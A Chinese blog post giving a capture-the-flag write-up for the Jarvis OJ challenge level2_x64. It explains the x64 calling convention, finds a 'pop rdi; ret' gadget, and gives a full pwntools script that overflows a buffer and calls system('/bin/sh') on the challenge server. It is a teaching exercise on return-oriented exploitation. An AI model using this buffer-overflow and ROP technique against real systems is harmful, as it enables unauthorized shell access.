美文网首页
Jarvis OJ---level2_x64

Jarvis OJ---level2_x64

作者: yahoo0o0 | 来源:发表于2017-09-21 13:51 被阅读0次

    level2_x64和level2大体上都一样,唯一的区别就是一个是64位的,一个是32位的,在做这题之前我们需要了解一点x86和x64的相关知识。

    x86的参数都保存在栈上面,但是x64中有些不同,x64的前6个参数依次保存在RDI、RSI、RDX、RCX、R8和R9之中,如果还有更多的参数的话参会保存在栈上
    

    level2_x64也是开启了NX的,所以我们没有办法直接插入shellcode,但是程序之中一样调用了system函数,还有参数binsh,所以我们可以通过hijack方法直接跳转到system函数之中。

    image.png image.png

    我们刚刚也知道了x64位的参数是先保存在六个特殊的寄存器之中,之后才存放在栈中,所以如果我们要将参数binsh传给system,我们必须要构建一个简单的gadget,在这个gadget之中调用了寄存器RDI。

    ROPgadget --binary level2_x64 --only "pop|rdi|ret"
    
    image.png

    最后我们便可以进行攻击了

    from pwn import *
    from time import *
    debug = False
    local = False
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib32/libc.so.6')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./level2_x64')
    else:
        p = remote('pwn2.jarvisoj.com',9882)
    
    system = 0x04004C0
    binsh = 0x0600A90
    popret = 0x00000000004006b3
    p.recvuntil("Input:\n")
    payload = 'a'*(0x80+8)  +p64(popret)  + p64(binsh)+ p64(system)
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:Jarvis OJ---level2_x64

          本文链接:https://www.haomeiwen.com/subject/wbuzsxtx.html